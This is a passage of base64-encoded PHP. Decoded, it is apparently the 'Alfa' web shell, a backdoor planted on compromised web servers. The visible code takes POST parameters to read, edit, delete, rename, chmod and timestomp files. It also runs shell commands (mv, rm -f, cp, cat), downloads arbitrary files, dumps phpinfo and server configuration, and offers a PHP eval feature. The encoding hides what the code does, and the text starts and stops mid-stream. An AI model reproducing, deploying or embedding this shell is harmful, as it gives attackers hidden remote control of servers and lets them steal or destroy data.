bJ2FsZmEyJ10pewpjYXNlICd2aWV3JzpjYXNlICdlZGl0JzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGRpc2FibGVkX2J0biA9ICIiOwppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSkmJiFfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKJGRpc2FibGVkX2J0biA9ICJkaXNhYmxlZD1kaXNhYmxlZCI7CiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokX1BPU1RbJ2FsZmEzJ10gPSBzdWJzdHIoJF9QT1NUWydhbGZhMyddLDEpOwokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKTsKJGZwID0gQF9fd3JpdGVfZmlsZSgkX1BPU1RbJ2FsZmExJ10sJF9QT1NUWydhbGZhMyddKTsKaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7Cgkkcm5hbWUgPSAkYWxmYTFfZGVjb2RlZDsKCSRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOwoJaWYoJGZwID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnYWxmYTMnXSkpewoJCWFsZmFFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsKCX0KfQppZigkZnApewplY2hvICdTYXZlZCE8YnI+JzsKQHRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSk7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50IGVkaXRvci1hY2UtY29udHJvbGxlciI+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7Ij4nLl9hbGZhX2xvYWRfYWNlX29wdGlvbnMoImVkaXRvciIpLic8YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZCh0aGlzKTsiPkNvcHk8L2J1dHRvbj4gPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uY2xpY2s9ImFsZmFBY2VUb0Z1bGxzY3JlZW4odGhpcyk7Ij5GdWxsIFNjcmVlbjwvYnV0dG9uPiA8YnV0dG9uIG9uY2xpY2s9InZhciBhY2VfdmFsID0gYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbdGhpcy5nZXRBdHRyaWJ1dGUoXCdhY2VfaWRcJyldLmdldFZhbHVlKCk7ZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKS4nXCcsXCdlZGl0XCcsXCcxXCcrYWNlX3ZhbCxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIgYWNlLXNhdmUtYnRuIiBzdHlsZT0id2lkdGg6IDEwMHB4O2hlaWdodDogMzNweDsnLiRkaXNhYmxlZF9idG5fc3R5bGUuJyIgJy4kZGlzYWJsZWRfYnRuLic+c2F2ZTwvYnV0dG9uPjwvZGl2PjxwcmUgY2xhc3M9Im1sMSB2aWV3X21sX2NvbnRlbnQiPic7CmVjaG8gaHRtbHNwZWNpYWxjaGFycyhfX3JlYWRfZmlsZSgkX1BPU1RbJ2FsZmExJ10pKTsKZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsKYnJlYWs7CmNhc2UgJ2hpZ2hsaWdodCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCI+PGRpdiBjbGFzcz0ibWwxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnYWxmYTEnXSx0cnVlKTsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnYWxmYTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewokZGVsZXRlZCA9IHRydWU7CmlmKCFAdW5saW5rKCRfUE9TVFsnYWxmYTEnXSkpewoJJGRlbGV0ZWQgPSBmYWxzZTsKCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CgkJCWFsZmFFeCgicm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pLiInIik7CgkJCSRkZWxldGVkID0gdHJ1ZTsKCQl9Cgl9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydhbGZhNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnYWxmYTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjYXNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NUWydhbGZhMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2FsZmEzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2FsZmExJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmFsZmEzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjYWNoZSgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOwp9ZWxzZXsKCSRmaWxlX3Blcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRfUE9TVFsnYWxmYTEnXSkpLC00KTsKfQplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMuY2htb2QudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iJy4kZmlsZV9wZXJtLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGMgPSBfX3JlYWRfZmlsZSgkX1BPU1RbJ2FsZmExJ10pOwokbiA9IDA7CiRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwokbGVuID0gc3RybGVuKCRjKTsKZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CnN3aXRjaCAoIG9yZCgkY1skaV0pICkgewpjYXNlIDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKJGFsZmEzX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CiRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kYWxmYTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnYWxmYTEnXSwgJF9QT1NUWydhbGZhMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kYWxmYTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kYWxmYTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2FsZmE0J10uJyJdLmZpbGUgPSAiJy4kYWxmYTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGFsZmExX2VzY2FwZS4nIiwgIicuJGFsZmEzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09ICJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnYWxmYTQnXS4iJywnIi4kYWxmYTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRhbGZhMV9lc2NhcGUgPSAkYWxmYTNfZXNjYXBlO30KfQplY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy4kYWxmYTFfZXNjYXBlLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyx0aGlzLm5hbWUudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSInLmFkZHNsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhpc3NldCgkX1BPU1RbJ2FsZmEzJ10pJiYkX1BPU1RbJ2FsZmEzJ10hPScnPyRfUE9TVFsnYWxmYTMnXTokYWxmYTFfZGVjb2RlZCkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICd0b3VjaCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMyddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7dG91Y2ggLWQgJyIuaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTMnXSkpLiInICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CgkkdG91Y2hlZCA9IHRydWU7Cn0KaWYoIUB0b3VjaCgkX1BPU1RbJ2FsZmExJ10sJHRpbWUsJHRpbWUpJiYhJHRvdWNoZWQpCmVjaG8gJ0ZhaWwhJzsKZWxzZQplY2hvICdUb3VjaGVkISc7Cn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKfQpjbGVhcnN0YXRjYWNoZSgpOwplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06QGZpbGVtdGltZSgkX1BPU1RbJ2FsZmExJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsKYnJlYWs7CmNhc2UgJ2ltYWdlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKZWNobygnPGhyPicpOwokZmlsZSA9ICRfUE9TVFsnYWxmYTEnXTsKJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsKaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7CiR3aWR0aCA9IChpbnQpJGltYWdlX2luZm9bMF07CiRoZWlnaHQgPSAoaW50KSRpbWFnZV9pbmZvWzFdOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCSRzb3VyY2UgPSBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyB8IGJhc2U2NCIpOwoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOwoJJGltYWdlX2luZm9bJ21pbWUnXSA9ICRtaW1lWzFdOwp9ZWxzZXsKCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7Cn0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOwppZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMDt9CmVjaG8gJGNvbnRlbnQgPSAiPGRpdiBjbGFzcz0nZWRpdG9yLXZpZXcnPjxkaXYgY2xhc3M9J3ZpZXctY29udGVudCc+PGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj48aW1nIGlkPSd2aWV3SW1hZ2UnIHN0eWxlPSdtYXgtd2lkdGg6MTAwJTtib3JkZXI6MXB4IHNvbGlkIGdyZWVuOycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLiRzb3VyY2UuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPjwvZGl2PjwvZGl2Pjxicj4iOwp9CmJyZWFrOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFGb290ZXIoKTsKfQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7CiRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsKJHR5cGVzID0gYXJyYXkoJ2pzb24nLCdwcHQnLCdwcHR4JywneGxzJywneGxzeCcsJ21zaScsJ2NvbmZpZycsJ2NnaScsJ3BtJywnYycsJ2NwcCcsJ2NzJywnamF2YScsJ2FzcHgnLCdhc3AnLCdkYicsJ3R0ZicsJ2VvdCcsJ3dvZmYnLCd3b2ZmMicsJ3dvZmYnLCdjb25mJywnbG9nJywnYXBrJywnY2FiJywnYnoyJywndGd6JywnZG1nJywnaXpvJywnamFyJywnN3onLCdpc28nLCdyYXInLCdiYXQnLCdzaCcsJ2FsZmEnLCdneicsJ3RhcicsJ3BocCcsJ3BocDQnLCdwaHA1JywncGh0bWwnLCdodG1sJywneGh0bWwnLCdzaHRtbCcsJ2h0bScsJ3ppcCcsJ3BuZycsJ2pwZycsJ2pwZWcnLCdnaWYnLCdibXAnLCdpY28nLCd0eHQnLCdqcycsJ3JiJywncHknLCd4bWwnLCdjc3MnLCdzcWwnLCdodGFjY2VzcycsJ3BsJywnaW5pJywnZGxsJywnZXhlJywnbXAzJywnbXA0JywnbTRhJywnbW92JywnZmx2Jywnc3dmJywnbWt2JywnYXZpJywnd212JywnbXBnJywnbXBlZycsJ2RhdCcsJ3BkZicsJzNncCcsJ2RvYycsJ2RvY3gnLCdkb2NtJyk7CmlmKCR0eXBlIT0nZmlsZScpewpyZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsKfWVsc2V7CiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7CiRleHQgPSBlbmQoJGV4dCk7CiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7Cn0KfQpmdW5jdGlvbiBhbGZhZGxmaWxlKCl7CmlmKGlzc2V0KCRfUE9TVFsnYyddLCRfUE9TVFsnZmlsZSddKSl7CiRiYXNlbmFtZSA9IHJhd3VybGRlY29kZShiYXNlbmFtZSgkX1BPU1RbJ2ZpbGUnXSkpOwokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7CiRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7CmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydmaWxlJ10pIHx8ICRhbGZhX2NhbnJ1bmNtZCl7Cm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWUpLiJcIiIpOwpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewoJJHJhbmRuYW1lID0gJGJhc2VuYW1lLnJhbmQoMTExLDk5OTkpOwoJJHNjcmlwdHBhdGggPSBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOwoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJHNjcmlwdHBhdGgpKXsKCQlhbGZhRXgoImNwICciLmFkZHNsYXNoZXMoJF9QT1NUWyJmaWxlIl0pLiInICciLmFkZHNsYXNoZXMoJGZpbGVwYXRoKS4iJyIpOwoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7CgkJQHVubGluaygkZmlsZXBhdGgpOwoJfWVsc2V7CgkJYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIiciKTsKCX0KfWVsc2V7CglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7Cn0KfWVsc2UgZWNobygnRXJyb3IuLi4hJyk7fX0KZnVuY3Rpb24gX19hbGZhX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsKCSRfQ09PS0lFWyRrZXldID0gJHZhbHVlOwoJQHNldGNvb2tpZSgka2V5LCAkdmFsdWUsIHRpbWUoKSsoODY0MDAgKiA3KSwgJy8nKTsKfQpmdW5jdGlvbiBhbGZhcGhwZXZhbCgpewppZihpc3NldCgkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkmJkBpc19kaXIoJF9DT09LSUVbImV2YWxfdG1wZGlyIl0pKXsKCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsKfWVsc2V7CgkkdGVtcGRpciA9IGRpcm5hbWUoYWxmYUV4KCJta3RlbXAiKSk7CglfX2FsZmFfc2V0X2Nvb2tpZSgiZXZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsKfQphbGZhaGVhZCgpOwppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luaScpKXsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJElOST1pbmlfZ2V0X2FsbCgpOwpwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+UGFyYW08L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicKLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkFjY2VzczwvdGQ+PC90cj4nOwpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQpwcmludCAiXG4iLic8dHI+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGI+Jy4kcGFyYW0uJzwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+JwouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2FjY2VzcyddLicgPC90ZD48L3RyPic7CiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOwokdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdpbmZvJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7Cm9iX3N0YXJ0KCk7CnBocGluZm8oKTsKJHRtcCA9IG9iX2dldF9jbGVhbigpOwokdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7CiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsKfQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2V4dGVuJykpIHsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKb2Jfc3RhcnQoKTsKJEVYVD1nZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CmVjaG8gJzwvZGl2Pjxicj4nOwp9CiRsYW5nX2h0bWwgPSAiIjsKZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImFsZmEzI